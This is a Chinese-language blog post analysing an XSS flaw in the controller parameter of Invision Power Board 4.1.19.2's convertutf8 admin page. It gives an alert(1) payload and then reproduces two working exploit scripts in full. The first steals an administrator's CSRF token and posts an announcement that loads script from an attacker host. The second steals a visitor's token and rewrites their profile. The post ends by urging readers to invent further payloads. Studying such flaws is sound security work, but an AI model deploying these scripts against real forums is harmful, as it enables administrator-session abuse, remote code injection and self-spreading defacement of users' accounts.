IPS_4.1.19.2_XSS

Invision Power Board 4.1.19.2 XSS / CSRF / File Upload / Information Disclosure

IPB是一个集论坛展示与CMS的PHP平台。这套系统本身是不开源的,但是我为了复现该漏洞,从网上下载了该平台的一个盗版。该文件我已经作为附件上传到小密圈中了,有兴趣的圈友可以看看。

首先,根据原文,漏洞的触发点在
http://<target>/admin/convertutf8/index.php?controller=

作者说controller参数并没有很好的过滤,那么我们打开phpstrom的debug功能,对参数进行跟踪。

调用了run函数。

拼接路径+controller参数+php后缀得到文件路径,判断该文件路径是否存在,不存在则跳入error。显然,我们输入的payload不可能真实存在对应的文件名,因此,进入error函数。

error直接sendout一个error message给template,看起来好像没有问题,controller参数似乎并没有产生影响。我们接着跟进template。

我们可以看到,controller没经任何过滤机会直接赋给了template中的$controller变量。

确实,template中没有经过任何过滤就获取了controller参数,将其放入模板变量中替代。我们构造一下payload

1
?controller='};alert(1);{'

成功弹框。根据这个XSS,可以构造出相应的针对管理员权限账号的CSRF。作者给出对应的EXP如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
/*
http://www.sxcurity.pro/pocs/xss.js
_
(_)_ ____ ___ __
| | '_ \ \ /\ / / '_ \
| | |_) \ V V /| | | |
|_| .__/ \_/\_/ |_| |_|
|_| IPB Exploit
by @sxcurity
*/
// specifies the target, the title of the announcement, and the xss payload!
var target = 'http://<target>/index.php?/modcp/announcements/&action=create';
var title = 'URGENT';
// Don't use quotes! It'll break our form down below!
var payload = '<script src=//<ATTACKER>/lol.js></script>';
// steals the csrf token ;)
var cdl = get(target);
document.body.innerHTML = cdl;
var form = document.getElementsByTagName('input')[3];
var token = form.value;
// DON'T EDIT!!
// Gets the current date! Thanks stackoverflow
var today = new Date();
var dd = today.getDate();
var mm = today.getMonth()+1; //January is 0!
var yyyy = today.getFullYear();
if(dd<10){
dd='0'+dd;
}
if(mm<10){
mm='0'+mm;
}
var today = mm+'/'+dd+'/'+yyyy;
// build form with valid token and evil credentials
document.body.innerHTML
+= '<form id="sxcurity" action="' + target + '" method="POST">'
+ '<input type="hidden" name="_submitted" value="1">'
+ '<input type="hidden" name="csrfKey" value="' + token + '">'
+ '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">'
+ '<input type="hidden" name="plupload" value="sxcurity">'
+ '<input type="hidden" name="announce_title" value="' + title + '">'
+ '<input type="hidden" name="announce_start" value="' + today +'">'
+ '<input type="hidden" name="announce_end_unlimited" value="0">'
+ '<input type="hidden" name="announce_content" value="'+ payload +'">'
+ '<input type="hidden" name="announce_content_upload" value="sxcurity">'
+ '<input type="hidden" name="announce_app_unlimited" value="*">'
+ '<input type="hidden" name="announce_calendars">'
+ '<input type="hidden" name="announce_calendars-zeroVal" value="on">'
+ '<input type="hidden" name="announce_download_categories">'
+ '<input type="hidden" name="announce_download_categories-zeroVal" value="on">'
+ '<input type="hidden" name="announce_forums">'
+ '<input type="hidden" name="announce_forums-zeroVal" value="on">'
+ '</form>';
// submits our csrf form!
document.forms["sxcurity"].submit();
function get(url) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", url, false);
xmlHttp.send(null);
return xmlHttp.responseText;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
/*
www.sxcurity.pro/pocs/lol.js
_
(_)_ ____ ___ __
| | '_ \ \ /\ / / '_ \
| | |_) \ V V /| | | |
|_| .__/ \_/\_/ |_| |_|
|_| IPB Exploit
by @sxcurity
index.php?/profile/<user>/&tab=field_core_pfield_1
This will add "sxcurity is my hero" to the user's about me.
*/
var target = 'http://localhost/ips_4141/index.php';
var payload = 'sxcurity is my hero';
// Gets the Profile URL of the victim.
var cdl = get(target);
document.body.innerHTML = cdl;
var user_url = document.getElementsByTagName('a')[13];
var user_url1 = document.getElementsByTagName('a')[14];
var user_url2 = document.getElementsByTagName('a')[15];
var user_url3 = document.getElementsByTagName('a')[16];
var user_url4 = document.getElementsByTagName('a')[17];
var user_url5 = document.getElementsByTagName('a')[18];
var user_url6 = document.getElementsByTagName('a')[19];
var user_url7 = document.getElementsByTagName('a')[20];
var yay = user_url.href;
var yay1 = user_url1.href;
var yay2 = user_url2.href;
var yay3 = user_url3.href;
var yay4 = user_url4.href;
var yay5 = user_url5.href;
var yay6 = user_url6.href;
var yay7 = user_url7.href;
var mod_check0 = document.getElementsByTagName('a')[22];
var mod_check1 = document.getElementsByTagName('a')[22];
var mod_check2 = document.getElementsByTagName('a')[23];
var mod_check3 = document.getElementsByTagName('a')[24];
var mod_check4 = document.getElementsByTagName('a')[25];
var mod_check5 = document.getElementsByTagName('a')[26];
var mod_check6 = document.getElementsByTagName('a')[27];
var check0 = mod_check1.href;
var check1 = mod_check1.href;
var check2 = mod_check2.href;
var check3 = mod_check3.href;
var check4 = mod_check4.href;
var check5 = mod_check5.href;
var check6 = mod_check5.href;
/*
Mods / admins have a different amount of links before their profile URL, so this makes sure
we grab the right profile URL and not some random one!
*/
if (yay.includes("profile")){
//user = normal user acc.
var profile = yay;
} else if (yay1.includes("profile")){
//user = normal user acc.
var profile = yay1;
} else if (yay2.includes("profile")){
//user = normal user acc.
var profile = yay2;
} else if (yay3.includes("profile")){
//user = normal user acc.
var profile = yay3;
} else if (yay4.includes("profile")){
//user = normal user acc.
var profile = yay4;
} else if (yay5.includes("profile")){
//user = normal user acc.
var profile = yay5;
} else if (yay6.includes("profile")){
//user = normal user acc.
var profile = yay6;
} else if (yay7.includes("profile")){
//user = normal user acc.
var profile = yay7;
} else if (check0.includes("profile")){
//user = mod or admin
var profile = check0;
} else if (check2.includes("profile")){
//user = mod or admin
var profile = check2;
} else if (check3.includes("profile")){
//user = mod or admin
var profile = check3;
} else if (check4.includes("profile")){
//user = mod or admin
var profile = check4;
} else if (check5.includes("profile")){
//user = mod or admin
var profile = check5;
} else if (check6.includes("profile")){
//user = mod or admin
var profile = check6;
}
var final = profile + 'edit/';
// steals the csrf token
var csrf = get(final);
document.body.innerHTML = csrf;
var inp = document.getElementsByTagName('input')[3];
var token = inp.value;
// build form with valid token and evil credentials
document.body.innerHTML
+= '<form id="woot" action=' + final + ' method="POST">'
+ '<input type="hidden" name="form_submitted" value="1">'
+ '<input type="hidden" name="csrfKey" value="' + token + '">'
+ '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">'
+ '<input type="hidden" name="plupload" value="sxcurity">'
+ '<input type="hidden" name="bday[month]" value="0">'
+ '<input type="hidden" name="bday[day]" value="0">'
+ '<input type="hidden" name="bday[year]" value="0">'
+ '<input type="hidden" name="enable_status_updates" value="0">'
+ '<input type="hidden" name="enable_status_updates_checkbox" value="1">'
+ '<input type="hidden" name="core_pfield_1" value="' + payload + '">'
+ '<input type="hidden" name="core_pfield_1_upload" value="sxcurity">'
+ '</form>';
// submits our csrf form!
document.forms["woot"].submit();
function get(url) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", url, false);
xmlHttp.send(null);
return xmlHttp.responseText;
}

这是两个不同的payload,具体做了什么就当是留给各位的一个小小的问题。并且各位可以发挥自己的想象力,我们还可以去实现怎样的攻击,写出更好玩的payload。